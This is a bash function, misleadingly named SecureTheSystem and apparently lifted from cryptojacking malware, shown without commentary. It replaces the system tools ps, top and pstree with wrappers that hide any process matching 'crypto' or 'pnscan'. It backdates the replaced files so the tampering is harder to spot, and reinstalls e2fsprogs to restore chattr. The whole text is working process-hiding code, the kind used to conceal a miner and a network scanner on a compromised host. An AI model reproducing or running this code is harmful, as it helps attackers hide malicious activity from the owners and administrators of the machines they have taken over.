function SecureTheSystem() {
if [ -f "/bin/ps.original" ]; then
echo "/bin/ps changed"
else
mv /bin/ps /bin/ps.original
echo "#! /bin/bash" >>/bin/ps
echo "ps.original \$@ | grep -v \"crypto\|pnscan\"" >>/bin/ps
chmod +x /bin/ps
touch -d 20160825 /bin/ps
echo "/bin/ps changing"
fi
if [ -f "/bin/top.original" ]; then
echo "/bin/top changed"
else
mv /bin/top /bin/top.original
echo "#! /bin/bash" >>/bin/top
echo "top.original \$@ | grep -v \"crypto\|pnscan\"" >>/bin/top
chmod +x /bin/top
touch -d 20160825 /bin/top
echo "/bin/top changing"
fi
if [ -f "/bin/pstree.original" ]; then
echo "/bin/pstree changed"
else
mv /bin/pstree /bin/pstree.original
echo "#! /bin/bash" >>/bin/pstree
echo "pstree.original \$@ | grep -v \"crypto\|pnscan\"" >>/bin/pstree
chmod +x /bin/pstree
touch -d 20160825 /bin/pstree
echo "/bin/pstree changing"
fi
if [ -f "/bin/chattr" ]; then
chattrsize=$(ls -l /bin/chattr | awk '{ print $5 }')
if [ "$chattrsize" -lt "$chattr_size" ]; then
yum -y remove e2fsprogs
yum -y install e2fsprogs
else
echo "no need install chattr"
fi
else
yum -y remove e2fsprogs
yum -y install e2fsprogs
fi
}
评论区